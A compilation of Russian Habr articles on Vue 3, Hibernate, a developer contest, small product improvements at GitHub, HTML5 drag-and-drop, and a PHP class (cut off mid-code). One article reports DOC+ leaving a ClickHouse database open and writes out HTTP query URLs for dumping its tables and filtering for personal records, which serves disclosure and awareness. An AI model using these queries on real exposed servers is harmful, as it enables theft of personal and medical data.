Нравится ли мне Vue 3? Конечно, это ускорение, новые возможности реактивности и многое другое. Что вызывает сомнения - много вариаций написания приложений, как будто это React, а ведь именно от этой парадигмы "каждое приложение - уникально" Vue и пытался отойти при создании, рекомендуя использовать только экосистемные библиотеки и реализации (роутер, стор и тому подобное). Это своего рода строгий Golang во фронтенде, его код, написанной в далекой и жаркой Индии в соответствии со стайл-гайдами и линтерами будет понятен каждому стартаперу в Долине, а экосистема имеет в себе все необходимое и одинакова для всех, не нужно выбирать - просто пишите код! И я боюсь, что с новым релизом мы отдалимся от этого. Плохо ли это - покажет время и путь развития, который предложат нам создатели фреймворка.
**А вам нравится Vue 3?** Планируете скорый переход на него в проде, или еще годик пусть поварится в домашнем проекте?
P.S.
----
**Если что - извиняюсь за код в статье, я не придумал, как его оформить красивее, а эти различия в отображениях синтаксиса меня добили, а заодно за материал и его подачу, получилось сумбурно, но я надеюсь интересующимся будет полезно.**
Объясните мне, почему `код` на хабре имеет разную подсветку при написании, в черновиках и после публикации? Это фишка нового редактора или я что-то не понимаю? Причем кардинальные различия. Я понимаю, что я скармливаю не JS, а полноценный Vue файл, но различия в парсинге ключевых слов и комментариев, в редакторе новый и модный, а в самих публикациях старый и глупенький парсер?
СкриныЧерновик публикацииРедактор статьи | https://habr.com/ru/post/557928/ | null | ru | null |
# Как из-за открытой базы ClickHouse могли пострадать персональные данные пациентов и врачей (обновлено)
Я много пишу про обнаружение свободно доступных баз данных практически во всех странах мира, но новостей про российские базы данных, оставленные в открытом доступе почти нет. Хотя недавно и [писал](https://habr.com/ru/company/devicelockdlp/blog/437946/) про «руку Кремля», которую с перепугу обнаружил голландский исследователь в более чем 2000 открытых базах данных.
Может сложиться неверное представление, что в России все замечательно и владельцы крупных российских онлайн-проектов подходят ответственно к хранению данных пользователей. Спешу развенчать этот миф на данном примере.
Российский медицинский онлайн-сервис DOC+ судя по всему, умудрился оставить в открытом доступе базу данных ClickHouse с логами доступа. К сожалению, логи выглядят настолько детальными, что вероятной утечке могли подвергнуться персональные данные сотрудников, партнеров и клиентов сервиса.
*Обо всем по порядку…*
`Дисклеймер: вся информация ниже публикуется исключительно в образовательных целях. Автор не получал доступа к персональным данным третьих лиц и компаний. Скриншоты взяты либо из открытых источников, либо были предоставлены автору анонимными доброжелателями.`
Со мной, как с владельцем Telegram-канала «[Утечки информации](http://tele.click/dataleak)», на связь вышел читатель канала, пожелавший остаться неизвестным и сообщил буквально следующее:
> В интернете был обнаружен открытый ClickHouse сервер, который принадлежит компании doc+. IP-адрес сервера совпадает с IP-адресом, на который настроен домен docplus.ru.
Из Википедии: *DOC+ (ООО «Новая Медицина») это российская медицинская компания, оказывающая услуги в области телемедицины, вызова врача на дом, хранения и обработки **персональных медицинских данных**. Компания получила инвестиции от Яндекса.*
Судя по собранной информации, база ClickHouse действительно была свободно доступна, и кто угодно, зная IP-адрес мог получить из нее данные. Этими данными предположительно оказались логи доступа к сервису.
Как видно из картинки выше, помимо веб-сервера www.docplus.ru и сервера ClickHouse (порт 9000), на том же IP-адресе «висит» открытая настежь база MongoDB (в которой, судя по всему, ничего интересного нет).
Насколько мне известно, для обнаружения сервера ClickHouse использовался поисковик Shodan.io (про то, [как исследователи обнаруживают открытые базы данных](https://www.devicelock.com/ru/blog/obnaruzhenie-otkrytyh-baz-dannyh-mongodb-i-elasticsearch.html) я писал отдельно) в связке со специальным скриптом [ClickDown](https://github.com/fdhadzh/clickdown), который проверил найденную базу на отсутствие аутентификации и перечислил все ее таблицы. На тот момент их вроде бы оказалось 474.
Из документации известно, что по умолчанию, сервер ClickHouse слушает HTTP на 8123 порту. Поэтому, чтобы посмотреть, что же содержится в таблицах, достаточно выполнить примерно такой SQL-запрос:
```
http://[IP-адрес]:8123?query=SELECT * FROM [название таблицы]
```
В результате выполнения запроса могло вернуться вероятно то, что указано на скриншоте ниже:
Из скриншота понятно, что информация в поле *HEADERS* содержит данные о местоположении (широту и долготу) пользователя, его IP-адрес, информацию об устройстве, с которого он подключался к сервису, версию ОС и т.п.
Если бы кому-то пришло в голову чуть-чуть модифицировать SQL-запрос, например, так:
```
http://[IP-адрес]:8123?query=SELECT * FROM [название таблицы] WHERE REQUEST LIKE ‘%25Profiles%25’
```
то могло бы вернуться что-то похожее на персональные данные сотрудников, а именно: ФИО, даты рождения, пол, ИНН, адреса прописки и фактического места проживания, телефоны, должности, адреса электронной почты и многое другое:
Вся эта информация из скриншота выше очень похожа на данные отдела кадров из 1С: Предприятие 8.3.
Присмотревшись к параметру *API\_USER\_TOKEN* можно подумать, что это «рабочий» токен с помощью которого можно выполнять различные действия от имени пользователя — в том числе получать его личные данные. Но утверждать я этого конечно не могу.
На данный момент нет информации о том, что сервер ClickHouse по-прежнему свободно доступен по тому же IP-адресу.
ООО «Новая Медицина» разродилось официальным заявлением по данному инциденту. В заявлении много букв, резюмируя кратко: “Незначительная утечка. Человеческий фактор. Менее 1%. Тестовая среда (на основном айпишнике!)”. Кому не лень читать привожу заявление целиком:
> Компания ООО "Новая Медицина" (DOC+) является оператором персональных данных, в связи с чем принимает все требуемые законодательством меры защиты. В компании внедрены современные средства защиты, прошедшие необходимые процедуры сертификации со стороны ФСБ, ФСТЭК. Выстроены внутренние процессы управления и контроля за состоянием защищенности информационных систем, в которых обрабатываются персональные данные. Политика защиты и обработки персональных данных доступна к изучению на нашем сайте.
>
>
>
> DOC+ использует сервис ClickHouse для отладки функционала доработок клиентских продуктов. В ClickHouse загружаются данные из тестовой и продуктивной среды. Сервис ClickHouse функционирует на серверах компании, доступ к которым жестко регламентирован и ограничен. Появление данных из ClickHouse в открытом доступе произошло из-за ошибки, связанной с человеческим фактором. Доступ к данным был оперативно закрыт 17.03.19 сразу после публикации об уязвимости. В компании регулярно проводится анализ уязвимостей системы защиты персональных данных, и данная ошибка была бы обязательно обнаружена и исправлена. К сожалению, мы не успели это сделать до обнаружения ошибки другими специалистами.
>
>
>
> В открытом доступе временно оказался незначительный объем данных, который не может привести к негативным последствиям для сотрудников и пользователей сервиса DOC+. На момент инцидента в ClickHouse были данные в основном из тестовой среды. Медицинские данные клиентов, оказавшиеся в открытом доступе, являются обезличенными, идентифицировать субъект персональных данных по ним можно было бы только при получении всей базы данных целиком. Анализ истории обращений к базе данных и исходящего трафика с наших серверов позволяет утверждать, что утечка могла коснуться <1% всей информации.
>
>
>
> По факту инцидента ведутся внутренние разбирательства. Мы разрабатываем и уже начали внедрять дополнительные меры, ещё более ужесточающие защиту данных. Мы сожалеем о произошедшем инциденте, но ещё раз подчеркиваем отсутствие негативных последствий для наших клиентов. Ваша безопасность и конфиденциальность являются приоритетом всей команды DOC+ с первых дней работы компании. | https://habr.com/ru/post/444114/ | null | ru | null |
# Повторяющийся набор полей в Hibernate
Проблему, решения которой я сегодня хотел бы описать — это повторяющийся набор полей в Hibernate сущностях. Конечно, её можно было бы решить с помощью нормализации БД, но это неудобно при выборках и влияет на быстродействие, лишние джойны ради нескольких колонок — никому не нужны.
Итак, представим, есть какая-то система учёта, в ней в любой сущности важно хранить историю, кто менял, кто создавал, когда были последние изменения, кем созданы. На самом деле в любом проекте можно найти подобные наборы и не один. В результате, когда программисты создают эти поля, в лучшем случае получается копипаст, а иногда рождаются новые названия для тех же полей.
Я хотел бы рассмотреть два способа решения этой задачи.
#### Первый способ
Эту задачу можно решить при помощи **@Embeddable** сущности:
```
package ru.kabit.entity.embeded;
import javax.persistence.Embeddable;
import java.util.Date;
@Embeddable
public class HistoryFields {
private Long lastModifierId;
private Long creatorId;
private Date lastModifyDate;
private Date createDate;
/* getters and setters */
}
```
Убираем из класса выносимые поля, вставляем одно *Embedded* свойство. На практике пройтись по коду и добавить лишний геттер перед вызовом этих полей не составляет труда, а вот в XML, JSP найти все места бывает сложно.
```
package ru.kabit.entity;
import ru.kabit.entity.embeded.HistoryFields;
import javax.persistence.Embedded;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
@Entity
public class Post {
@Id
@GeneratedValue
private Long id;
@Embedded
private HistoryFields historyFields;
/* getters and setters */
}
```
Если хоть одно поле из *HistoryFields* будет заполнено, то создастся объект *HistoryFields* и эти поля заполнятся, иначе вместо объекта будет лежать null, это кстати, очень удобно при написании логики. Имена полей в БД могут быть разными, чтобы их изменить используется аннотация *@AttributeOverride*.
**Преимущества** такого подхода:
* Логическая группа полей выделена в отдельную сущность, поля всегда будут называться одинаково, никому не придёт в голову их написать «по правильному»
* Выделенные данные выбираются без подзапросов, так как лежат в этой же таблице
* Поисковые критерии по этим полям будут неизменными
* Таких полей в сущности может быть несколько
**Недостатки**:
* В некоторых случаях набор полей может быть излишним, убрать их не получится
* При рефакторинге придётся изменять JSP руками, трудно это сделать в большом проекте, придётся всё перепроверять, либо сделать дополнительные геттеры, достающие данные из Embedded поля
#### Второй способ
Второе решение — использовать **@MappedSuperclass** аннотацию:
```
package ru.kabit.entity;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
import javax.persistence.MappedSuperclass;
import java.util.Date;
@MappedSuperclass
public class HistoryEntity {
@Id
@GeneratedValue
private Long id;
private Long lastModifierId;
private Long creatorId;
private Date lastModifyDate;
private Date createDate;
/* getters and setters */
}
```
Теперь есть базовый класс с набором полей и когда мы видим похожий набор, можно просто отнаследоваться от него:
```
package ru.kabit.entity;
import javax.persistence.Entity;
@Entity
public class Table1 extends HistoryEntity {
private Long otherFieldTable1;
public Long getOtherFieldTable1() {
return otherFieldTable1;
}
public void setOtherFieldTable1(Long otherFieldTable1) {
this.otherFieldTable1 = otherFieldTable1;
}
}
```
**Преимущества** такого подхода:
* Выделенные данные выбираются без подзапросов, так как лежат в этой же таблице
* При вынесении полей на рабочем проекте, не придётся ничего рефакторить
**Недостатки**:
* В некоторых случаях набор полей может быть излишним, убрать их не получится
* Множественного наследования в Java нет, поэтому если сущность подходит под два типа, то этот способ не подходит
#### Вывод
Я рассказал как избавиться от повторного описания набора полей в Hibernate сущностях, а также описал преимущества и недостатки каждого. Надеюсь, что эта статья окажется вам полезна. | https://habr.com/ru/post/180703/ | null | ru | null |
# Контест на определение сбоев
Cтартовал первый контест для разработчиков от Brand Analytics!
**Задача контеста:** написать приложение, которое будет определять сбои и сможет выделять сервисы и аспекты в публичных сообщениях соцмедиа о сбоях.
**Призовой фонд** - 500 тысяч рублей.
**Срок подачи решений** до 17 августа 2022 г. 20:00 MSK.
### Подробнее о задачах контеста:
1. **Выявление сбоя в тексте сообщений**. Приложение должно определить, есть ли в сообщении упоминание о неработоспособности или проблемах в работе того или иного сервиса.
2. **Определить категорию сбоя.** Если в сообщении выявлен сбой, то, исходя из текста сообщения, нужно определить категорию сбоя, т.к. сбои бывают в совершенно в разных сферах деятельности сервисов и аспекты сбоя в них могут отличаться.
3. **Определение аспекта сбоя.** Приложение должно определить основной аспект сбоя, если таковой имеется.
4. **Определение конкретного сервиса или продукта.** Если в сообщении есть «сбой», нужно определить к какому сервису или продукту он относится.
На каждом этапе на вход подаётся исходный файл датасета. При этом каждый последующий этап должен выполнять работу предыдущего этапа.
### Требования к разработке решений
1. Решение должно быть самодостаточным. Интернет и сеть будут недоступны. Если для работы требуются дополнительные ресурсные данные, они должны быть сразу включены в решение.
2. Минимум внешних зависимостей. Постарайтесь обойтись без использования внешних deb-пакетов и зависимостей. Тем не менее, их использование не запрещено и вы можете перечислить необходимые deb-пакеты в файле `dependencies.txt`, они будут установлены до запуска решения.
3. Вес решения играет роль. Суммарный размер файла zip-архива решения, который нужно загрузить в [Telegram-бот](https://t.me/DevChampBot), не должен превышать 1 ГБ
4. Высокая скорость обработки данных важна. Обработка должна происходить со скоростью не менее 300 объектов в секунду. Если скорость обработки будет ниже, то итоговая оценка будет снижена.
Ограничений на используемые языки программирования, инструментарии и библиотеки — нет. Для разработки предоставляются датасеты публичного потока данных соцмедиа, гарантированно включающие информацию о сбоях в работе сервисов.
**Принять участие** [**http://devchamp.ru**](https://devchamp.ru/contest/61662d31db69229af554c200383c0b33)**.**Такжеследите за новостями контеста [в официальном Telegram-канале](https://t.me/dev_champ). | https://habr.com/ru/post/679810/ | null | ru | null |
# Маленькие победы
В течение своей карьеры я имел опыт работы над многими масштабными проектами, от проработки стратегий компании, выбора идеальных продуктов, реорганизации ключевых алгоритмов user-flow и информационного проектирования, до разработки систем с нуля.
Работать над такими крупными проектами чаще всего весьма непросто. Вас часто подвергают критике руководство компании и многочисленные акционеры. Каждую деталь требуется согласовывать, когда речь идет о масштабных и серьезных изменениях.
Недавно я сделал два улучшения на GitHub, и отклик, который я получил, превзошел все мои самые смелые мечты. Я никогда раньше не получал такой большой благодарности и любви, которой щедро одарило меня сообщество. Но то, что я сделал, не было крупными, основательными проектами. Эти вещи были *крошечными*.
Во-первых, **мы сделали динамические фавиконки для страниц пулл-реквестов GitHub**. *[Статья написана в 2017 году.]* Вкладки браузера теперь всегда отображают текущий статус сборки пулл-реквеста. До выпуска этого обновления пользователям приходилось периодически переключаться между вкладками, чтобы проверить, завершилась ли сборка, чтобы они могли продолжить работу. Нетерпеливые пользователи *очень часто* проверяли вкладки пулл-реквестов.
Я делал значки, а Джейсон работал над тем, чтобы они динамически обновлялись. Это изменение заняло меньше недели, и сотни людей мгновенно его заметили. Ниже приведено лишь небольшое количество восторженных отзывов, чтобы вы могли получить общее представление.
*Твиты о фавиконках GitHub*
Мой следующий проект состоял в том, что я **заменил индикатор `...` на новых страницах пулл-реквестов на стрелку, которая отображала направление слияния**. До того, как было выпущено это обновление, пользователи часто путали направление слияния веток.
Это была всего одна строка кода, которую я написал за пару минут. Я даже не создавал дизайн стрелки, она уже была в нашем наборе иконок.
Это маленькое изменение решило относительно небольшую проблему, но это было очень полезно для многих юзеров. И мы снова увидели сотни радостных отзывов и репостов.
*Твиты о стрелке слияния GitHub*
Маленькое усилие, большие результаты
------------------------------------
Первое изменение заняло меньше недели, а второе — всего несколько минут. Оба обновления затронули очень маленькие части платформы, но люди отреагировали на них с диким восторгом и воодушевлением. Пользователи были *очень довольны*.
Это не значит, что результаты обновлений можно или нужно измерять количеством полученных лайков — это может быть не так показательно, как их ценность для каждого отдельного пользователя. Но личные отзывы говорят о том, насколько значимы для ваших пользователей могут быть даже мельчайшие улучшения.
За годы работы я видел эту схему в различных ее интерпретациях огромное множество раз:
Очевидная рекомендация, показанная в первом квадрате таблицы, заключается в том, чтобы работать над выполнением тех задач, которые занимают мало времени и дают большой выхлоп. Забавно, но нельзя сказать, что я часто вижу, чтобы компании применяли этот совет на практике. Учитывая то, насколько ценны такие улучшения, я искренне не понимаю, почему этот принцип так редко используется.
Давайте поговорим о том, какую роль в вашей жизни могут сыграть такие изменения.
### Одно небольшое изменение может привести к большой победе
Люди выполняют действия с высокой частотой повторения (такие как создание новых пулл-реквестов на GitHub) по миллиону раз в день. Отдельный пользователь может проходить по одному и тому же маршруту действий по несколько раз в неделю, в день или даже в час. Эти повторяющиеся действия становятся частью их жизни.
Если есть хоть одно лишнее действие или неудобство в использовании, оно приумножается с каждой итерацией. Одно неоптимальное действие, которое занимает лишние 5 секунд и повторяется бесконечное множество раз за день, создает лишнюю суету и является бесполезной тратой времени.
*Вот* почему многие пользователи так благодарны за эти обновления. Они ценят то время, которое они сэкономят в дальнейшем.
Похожая реакция была, когда Netflix добавили кнопку, которая позволяла пользователям пропустить интро в сериалах. После этого изменения пользователям больше не нужно было перематывать видео вперед и назад, чтобы найти нужное место, когда начинается новая серия.
Подобные отзывы мы можем видеть и в ответ на обновление Chrome, когда они добавили значок громкости, который показывал, на какой вкладке воспроизводится звук. После этого обновления пользователям больше не нужно было нажимать по каждой открытой вкладке, чтобы найти источник звука, который доставлял неудобства.
Есть множество других примеров того, как такие небольшие изменения вызвали волну восторженных благодарностей. Изменения могли казаться весьма несущественными, но они раз и навсегда избавили *миллионы* пользователей от тех неудобств, которые они вынуждены были испытывать снова и снова.
Представьте, что одна из ваших двадцати вкладок в Chrome сейчас автоматически проигрывает самое нелепое видео во всем интернете. Методом проб и ошибок вы кликаете по каждой вкладке, чтобы найти источник звука. Вам не удалось найти его с первого раза. Как такое возможно? Ну, возможно, вы кликнули по нужной вкладке и не заметили. Вы будете пытаться снова и снова, пока наконец, полностью отчаявшись, не закроете целиком весь браузер. А завтра и все последующие дни в обозримом будущем все это будет повторяться сначала.
*Воссоздание ощущений пользователя.*
Сравните это с опытом, когда пользователь просто закрывает вкладку со значком громкости.
Можно посмотреть на эти изменения с точки зрения экономии времени. Промежуточные шаги (когда пользователь кликает по всем вкладкам в случайном порядке, пытаясь найти источник шума, или ломает голову над тем, какая ветка с чем сливается и переживает о том, как бы не сломать код и не разрушить свою компанию) весьма коротки во времени, но когда их много — они накапливаются. Такого рода обновления позволяют от них избавиться.
Когда вы избавляете пользователей от такой раздражающей проблемы, это производит очень мощный эффект, и иногда он даже превосходит эффект от выпуска крупных обновлений. Только представьте, что столь небольшие усилия могли привести к столь впечатляющему результату.
Вот что я называю маленькой победой.
### Маленькие победы укрепляют ваш бизнес
Давайте сразу проясним этот вопрос — крупные проекты важны. Нельзя сказать, что если компания хочет продолжить развиваться, то мелкие улучшения, такие как описанные мною выше, будут способствовать ее развитию. Так что поймите меня правильно — я не предлагаю всем начать планировать дорожные карты, состоящие исключительно из этих маленьких побед. Основой развития должны служить амбициозные проекты.
Но масштабные проекты требуют координации команды, большого труда и, в первую очередь, много времени. Такие вещи не происходят быстро. За время работы над таким крупным проектом может начать казаться, что продукт не развивается. Для стартапа (особенно в сфере, где достаточно высокая конкуренция) такая стагнация может означать смертный приговор.
Чтобы нивелировать этот эффект, компаниям необходимо создавать впечатление динамики и доказывать своим пользователям, что они прислушиваются к их мнению и делают необходимые улучшения в продукте. Выпуская такие маленькие обновления, компании могут заполнить большие временные промежутки между крупными запусками.
Многие компании стараются поддерживать баланс, выпуская MVP-версии, и используют их для своего развития. В идеале, таким образом пользователи регулярно получают для себя ценность на каждой ступени развития компании. Но каждая такая ступень все же может занимать от пары недель до нескольких месяцев, и конечный результат, который пользователи наблюдают в каждой новой версии, далеко не всегда представляется им ценным. Ведь часто бета-версия — это лишь маленький шаг на пути к более сложному продукту.
В отличие от подобных обновлений, те небольшие изменения, которые я перечислил вначале, являются полностью автономными. Кнопка «пропустить интро» у Netflix является ценной для пользователей *сама по себе*. Так же, как и индикаторы громкости у Chrome и динамические значки GitHub.
Благодаря этому пользователи восприняли эти обновления как свежие, самостоятельные и полноценные фичи. Пользователи поняли и почувствовали, что *к их мнению прислушиваются*. Эти обновления произвели яркое впечатление на юзеров, они почувствовали доброжелательное отношение компании и, возможно, таким образом компании завоевали доверие и преданность своих клиентов. Да что уж там, они скорее всего даже способствовали органическому росту!
MVP и итеративная разработка являются мощными инструментами, и компаниям, которые хотят быстро расти, определенно стоит их использовать. Но у маленьких побед гораздо больше потенциала, когда необходимо заполнить промежутки между выходом больших обновлений. Они позволяют сохранить достигнутые результаты развития и улучшают отношение сообщества пользователей к компании.
Сделайте так, чтобы маленькие победы работали на вас
----------------------------------------------------
Хорошо, мы уже поняли, что маленькие победы — это прекрасно и как раз то, что вам нужно. Вероятно, вам уже нравится идея их использования. Следующий шаг — это регулярное внедрение таких маленьких апгрейдов и наслаждение плодами своих трудов.
Скорее всего, сейчас интуиция подсказывает вам открыть свои каналы обратной связи от пользователей и начать выбирать задачи. Я бы не советовал вам поступать таким образом.
Я заметил одну странную деталь в тех проблемах пользователей, которые вы решили, выпустив обновления — пользователи практически никогда о них не сообщали.
Сотни людей были в полном восторге, когда мы добавили стрелку на страницы пулл-реквеста. Но при этом ни один из них никогда не писал о том, что он путал направление слияния, когда там были точки. Многие затем писали, что они сами виноваты в том, что не замечали этого неудобства.
*Твиты от людей, которые винят самих себя*
Люди так привыкли к этим слияниям, что уже даже не замечают, что совершают лишние действия. Если им где-то и неудобно пользоваться сервисом, для них это просто неотъемлемая часть жизни. Статус-кво. То, с чем они должны жить, а не то, что необходимо улучшить.
Многие ли люди заметили, что бесконечная прокрутка видео, чтобы найти начало серии — это что-то, что можно улучшить? Сколько людей подумали о том, что можно было бы попросить команду Chrome решить проблему с поиском вкладки со звуком?
> «Они попросили бы более быструю лошадь» — Генри Форд
Этот урок состоит в том, что вам не стоит полагаться на своих пользователей, когда вы решаете сделать какое-нибудь небольшое обновление (как мы уже знаем, часто лучше всего выстреливают именно такие фишки). Вы не можете улучшать продукт, основываясь лишь на обратной связи от пользователей и их запросах. Нужно копать глубже.
### Создайте список и дважды его проверьте
Создание списка быстрых побед — довольно простая задача. Гораздо труднее убедиться, что то, над чем вы начнете работу, окупит эти усилия. Не каждая новая опция приведет к такому отклику, который мы описали ранее, и в этом особенность маленьких побед.
**Маленькие победы самодостаточны.** Эти изменения маленькие, конкретные и ценные сами по себе. Если фича не будет ценной и значимой для пользователей как самостоятельная функциональность, ей нет места в вашем списке.
**Маленькие победы не требуют больших усилий.** Такие проекты просты, понятны и быстры в исполнении. Если изменение требует больших временных и трудовых затрат, ее не следует включать в ваш список.
**Маленькие победы дают большой результат.** Они затрагивают те компоненты сервиса, с которыми большинство юзеров взаимодействуют чаще всего. Если фича не произведет фурор в сообществе пользователей, ее не следует включать в этот список. Это значит, что такие вещи, как работа над [темными углами](https://web.archive.org/web/20190725152429/http://blog.capwatkins.com/dark-corners), вашей системы, какой бы важной и ценной не была эта задача, не подходит для это списка.
**Маленькие победы ускоряют работу.** Они экономят пользователям время, избавляя их от ненужных шагов (*физических или моральных*), которые требуются для выполнения действия. Такой подход очень полезен для таких изменений, которые мы описывали ранее. Он позволяет отличить действительно ценные идеи от менее полезных, хоть и простых в исполнении, которые не подходят для этого списка. По крайней мере, в первое время после обновления пользователи будут все еще помнить неприятный опыт, с которым им приходилось сталкиваться. Они интуитивно будут его осознавать. Вот истинная причина их любви и благодарности.
Начните с того, что соберите совещание и сгененирируйте на нем как можно больше вариантов. Дизайнеры, разработчики, проект-менеджеры, отделы консультирования и поддержки — у всех могут быть одинаково ценные и значимые идеи, но мнение того, кто держит руку на пульсе у ваших пользователей, особенно важно. Спросите себя:
* Какие шаги повторяются наиболее часто, когда клиент пользуется вашим продуктом?
* Что в этих шагах может быть для него дискомфортно? Что каждый раз отнимает время или требует обратить на себя внимание пользователя? Это может быть лишний клик или компонент, который вводит в заблуждение.
* Сколько неудобства доставляют пользователям эти моменты? Какой объем дискомфорта вы сократите и какое количество времени сэкономите пользователям, решив эти небольшие проблемы? Сколько пользователей почувствуют эти перемены?
* Будут ли они замечены? Будут ли о них говорить? Они доставят пользователям радость?
При ответе на эти вопросы вам очень пригодится свежий взгляд на вещи. Я работал в команде GitHub всего несколько месяцев, когда я решил добавить стрелку на странице пулл-реквеста. Я сделал это просто потому, что предыдущее решение, на мой взгляд, *было нелогичным*.
Дизайнеры, как и пользователи, привыкают к своему продукту и его разнообразным недочетам. Иногда бывает очень трудно увидеть, что можно было бы улучшить. Так что пробуйте привлекать к этому делу новых сотрудников. Сделайте это частью рабочего процесса для новых людей в вашей компании. Создайте в компании атмосферу, где сотрудники могут ставить под сомнение устоявшиеся принципы, когда они пройдут стадию знакомства с продуктом компании.
После того, как вы составили список улучшений, необходимо оценить ценность каждой фичи для пользователей и распределить их, основываясь на критериях усилия/результаты, как это обычно делается с любыми другими идеями.
### Теперь начинайте выполнять пункты из списка
Все компании разные, поэтому нет единого варианта, который подойдет всем без исключения. Однако я с уверенностью *могу* сказать, что ключевую роль играет регулярность. Это создаст впечатление, что компания заботится о пользователях и быстро развивается. Имено это позволит вам завоевать доверие своих пользователей.
* Занимайтесь одной маленькой победой в каждом спринте, или делайте по одному пункту из списка каждый раз, когда у вас есть на это время. Сделайте так, чтобы эти мини-обновления выходили с регулярной периодичностью.
* Регулярно обновляйте список, привлекая новых людей к обсуждению, добавляя новые пункты, переоценивая фичи и заново расставляя приоритеты.
* Обязательно обсуждайте обновления с вашими специалистами по SMM. Очень важно правильно рассказать об обновлениях вашим пользователям, а еще это весьма весело!
Вот и все. В этом нет ничего особо сложного, это не ядерная физика и не написание романа. Но это дает очень мощный результат.
Я считаю, что использование маленьких побед может сотворить чудеса для вашей компании. Это даст вам огромное преимущество над конкурентами. Это покажет пользователям, что вы заботитесь о них и что они могут вам доверять. Ваши пользователи могут начать сами продвигать ваш продукт, это повысит лояльность ваших клиентов и приведет к органическому росту пользователей. И, что самое важное, это повысит качество вашего продукта и улучшит жизнь ваших пользователей.
Представьте, что всех этих невероятных результатов можно достичь, приложив лишь немного усилий.
Итак… что вы можете улучшить прямо сейчас? | https://habr.com/ru/post/556948/ | null | ru | null |
# Использование Drag&Drop; в HTML 5
Долгое время для создания Drag&Drop функционала использовались JavaScript-функции, однако браузеры не всегда корректно могли отображать результат. В HTML 5 есть способ грамотной поддержки Drag&Drop, с небольшим применением JavaScript. В этой статье подробно разобран наглядный пример применения Drag&Drop в HTML 5.
#### Поддержка браузерами
На сегодняшний день функция Drag&Drop в HTML 5 корректно обрабатывается всеми современными настольными браузерами, (частично даже IE 5.5!), однако мобильные такую возможность не поддерживают. Подробнее данные в [таблице caniuse.com](http://caniuse.com/dragndrop).
#### События Drag&Drop
Ниже перечислены события Drag&Drop, с помощью которых можно контролировать процесс перетаскивания:
* dragStart: пользователь начинает перетаскивание элемента.
* dragEnter: перетаскиваемый элемент достигает конечного элемента.
* dragOver: курсор мыши наведен на элемент при перетаскивании.
* dragLeave: курсор мыши покидает пределы перетаскиваемого элемента.
* drag: курсор двигается при перетаскивании.
* drop: происходит drop элемента.
* dragEnd: пользователь отпускает курсор мыши в процессе перетаскивания.
#### Объект dataTransfer
Здесь происходит сам процесс перетаскивания. Наиболее важные параметры:
* dataTransfer.effectAllowed=value: возвращает тип доступного действия — none, copy, copyLink, copyMove, link, linkMove, move, all или uninitialized.
* dataTransfer.setData(format, data): добавляет данные в нужном формате.
* dataTransfer.clearData( format ): убирает данные.
* dataTransfer.setDragImage(element, x, y): устанавливает изображение для перетаскивания с координатами курсора (0, 0 — левый верхний угол).
* data = dataTransfer.getData(format): возвращает данные.
#### Пример Drag&Drop
Теперь рассмотрим наглядный [простой пример использования Drag&Drop](http://codepen.io/SaraVieira/full/DCHAz), где два маленьких синих div'а можно переместить в большой красный, а также вернуть их на исходное место.
##### Начало перетаскивания объекта
В первую очередь необходимо создать HTML-разметку блоков, добавив атрибут draggable:
```
```
Затем определить JavaScript-функцию начала процесса:
```
function dragStart(ev) {
ev.dataTransfer.effectAllowed='move';
ev.dataTransfer.setData("Text", ev.target.getAttribute('id'));
ev.dataTransfer.setDragImage(ev.target,100,100);
return true;
}
```
В первой строке задан возможный тип перетаскивания — move, во второй — устанавливаются данные процесса — тип (Text) и ID. В третьей строке setDragImage определяет положение курсора, в данном случае в середине квадрата 200х200 пикселей.
##### Завершение перетаскивания объекта
Потребуется задать три события: dragEnter, dragOver и drop:
```
```
Кроме того, требуется добавить JavaScript-функции для завершения процесса перетаскивания — определить, что должно случиться с элементами, когда курсор будет отпущен:
```
function dragEnter(ev) {
event.preventDefault();
return true;
}
function dragOver(ev) {
event.preventDefault();
}
```
В данном простом примере заданы только основные действия, но можно добавить другие — изменение цвета фона, добавления текста и т.д. Далее — заключительный этап. Здесь задаются действия окончания перетаскивания:
```
function dragDrop(ev) {
var data = ev.dataTransfer.getData("Text");
ev.target.appendChild(document.getElementById(data));
ev.stopPropagation();
return false;
}
```
Как видно из [примера](http://codepen.io/SaraVieira/full/DCHAz), синие блоки после перетаскивания можно вернуть на исходное место. К счастью, сделать это очень просто. Все функции объявлены, осталось добавить следующий код:
```
```
#### Заключение
С помощью JavaScript-библиотек создано большое количество решений для Drag&Drop, и зачастую они проще в использовании, чем описанный пример. Однако скорее всего в будущем все чаще будет использоваться связка HTML5 & JavaScript.
#### Использованные материалы и полезное чтиво
* [HTML5 Drag and Drop](http://www.w3schools.com/html/html5_draganddrop.asp) на W3C
* [HTML 5 Drag & Drop Basics](http://www.htmlgoodies.com/html5/tutorials/html-5-drag-drop-basics.html)
* [How to use HTML5′s drag and drop](http://www.webdesignerdepot.com/2013/08/how-to-use-html5s-drag-and-drop/)
* [HTML5 Drag and drop](http://www.tutorialspoint.com/html5/html5_drag_drop.htm)
 | https://habr.com/ru/post/187582/ | null | ru | null |
# PHP сказ про то, как некромант инквизитора обманул
Как говорится: в сказке ложь, да в ней намек.
Все делалось не процесса ради а под конкретные нужды. Надеюсь шаблон окажется полезным. Код шаблона под катом.
> `1. php</li- /\*\*
> - \* Cloak is a good thing when we need to hide some public methods and properties.
> - \*/
> - abstract class cloak {
> - protected $\_\_cloak\_method = array();
> - protected $\_\_cloak\_prop = array();
> -
> - final function \_\_call($name, $args) {
> - if (isset($this->\_\_cloak\_method[$name]))
> - $this->\_\_cloak\_method[$name]();
> - }
> -
> - final function \_\_set($name, $value) {
> - if (isset($this->\_\_cloak\_prop[$name]))
> - $this->\_\_cloak\_prop[$name] = $value;
> - else
> - $this->{$name} = $value;
> - }
> -
> - final function \_\_get($name) {
> - if (isset($this->\_\_cloak\_prop[$name]))
> - return $this->\_\_cloak\_prop[$name];
> - else
> - return $this->{$name};
> - }
> - }
> -
> - class necromancer extends cloak {
> - function \_\_construct() {
> - $this->\_\_cloak\_method['zombie\_invocation'] = function() {
> - print 'Dugonas aldere simopa';
> - };
> -
> - $this->\_\_cloak\_prop['inventory'] = array('Kosparov\'s head', 'Rusty knife', 'Necromancer\'s staff');
> - $this->\_\_cloak\_prop['character'] = 'necromancer';
> - }
> - }
> -
> - class inquisitor {
> - function inspect\_person($person) {
> - /\*\*
> - \* I am going to inspect this heretic.
> - \*/
> - $prop = get\_object\_vars($GLOBALS[$person]);
> - if (isset($prop['character']) && in\_array($prop['character'], array('necromancer', 'witch')))
> - $this->kill($person);
> - }
> -
> - function kill($person) {
